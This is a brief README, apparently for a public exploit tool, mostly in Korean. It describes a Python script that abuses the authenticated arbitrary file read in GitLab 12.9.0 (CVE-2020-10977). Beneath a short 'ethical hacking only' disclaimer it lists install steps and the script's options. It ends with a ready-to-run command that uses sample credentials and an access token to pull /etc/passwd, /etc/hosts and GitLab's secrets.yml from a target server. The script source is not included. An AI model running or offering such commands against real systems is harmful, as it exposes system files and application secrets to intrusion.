
GitLab v12.9.0 (CVE-2020-10977)의 인증된 임의 파일 읽기에 관해 exploit-db에서 찾을 수 있는 스크립트보다 더 나은 (되기를 원하는) 스크립트
데모 목적 및 윤리적 해킹 전용입니다.
GitLab v12.9.0 (CVE-2020-10977)의 인증된 임의 파일 읽기에 대해 exploit-db에서 찾을 수 있는 것보다 (되도록) 더 나은 스크립트
pip3 install requests python-gitlab
https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html
$ python3 gitlab-12.9.0-lfi.py -h
usage: gitlab-12.9.0-lfi.py [-h] -H HOST -u USER -p PASSWD -t TOKEN -f FILES
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST The https URI to gitlab webroot
-u USER, --user USER The user name
-p PASSWD, --passwd PASSWD
The user password
-t TOKEN, --token TOKEN
The access token
-f FILES, --files FILES
The absolute paths to the files on the Gitlab local system
$ python3 gitlab-12.9.0-file-read.py -H https://gitlab.domain.com/ -u erk3 -p test1234 -t 9nsDFXshb1txxkkZAv24 -f /etc/passwd -f /etc/hosts -f /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml